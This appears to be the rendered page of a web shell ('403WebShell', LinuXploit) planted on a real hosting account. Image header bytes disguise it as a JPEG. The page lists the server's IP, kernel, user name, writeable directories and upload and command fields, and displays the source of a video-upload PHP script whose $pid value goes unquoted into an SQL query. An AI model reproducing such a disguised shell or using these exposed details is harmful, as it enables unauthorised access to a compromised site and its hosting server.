����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 162.0.232.25  /  Your IP : 18.226.94.64
Web Server : LiteSpeed
System : Linux premium276.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : kwacuqig ( 988)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/kwacuqig/learn.skilltainment.org/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /home/kwacuqig/learn.skilltainment.org/ajax-videos.php
<?php
include './php/connect.php';
include './php/core.php';
include './php/filterFile.php';

$video_name = strtolower($_FILES['video']['name']);
$video_type = $_FILES['video']['type'];
$video_size = $_FILES['video']['size'];
$video_tmp_name = $_FILES['video']['tmp_name'];

$extension = ".mp4";

$title = mysqli_real_escape_string($conn, $_POST['title']);
$details = mysqli_real_escape_string($conn, nl2br($_POST['details']));
$pid = mysqli_real_escape_string($conn, $_POST['pid']);

$_SESSION['title'] = $title;
$_SESSION['title'] = $details;

//new video name with its particular extension
$video_new_name = filter_file(strtolower($title).$extension);
$video_new_size = round($video_size / 1048576, 2);

$location = './playlists/vid/';

//checking if file to be uploaded is an video
if ($video_type == 'video/mp4') {
    //checking if both audio and video are uploaded
    if (move_uploaded_file($video_tmp_name, $location . $video_new_name)) {
        $sql = "INSERT INTO `videos`(`pid`,`video`,`video_title`,`video_details`,`size`,`video_time`) VALUES($pid,'$video_new_name','$title','$details','$video_new_size', " . strtotime(date("Y-m-d h:i:sa")) . ")";
        //checking if the query has run successfully
        if (mysqli_query($conn, $sql)) {
            unset($_SESSION['title'], $_SESSION['details'])
            ?>
            <script type="text/javascript">
                swal("SUCCESS", "Video was successfully uploaded", "success");
            </script>
        <?php
        } else {
            die(mysqli_error($conn));
        }
    } else {
        ?>
        <script type="text/javascript">
            swal("ERROR", "Failed to upload video", "error");
        </script>
    <?php
    }
} else {
    ?>
    <script type="text/javascript">
        swal("ERROR", "<?php echo $video_new_name; ?> is not an video", "error");
    </script>
<?php
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit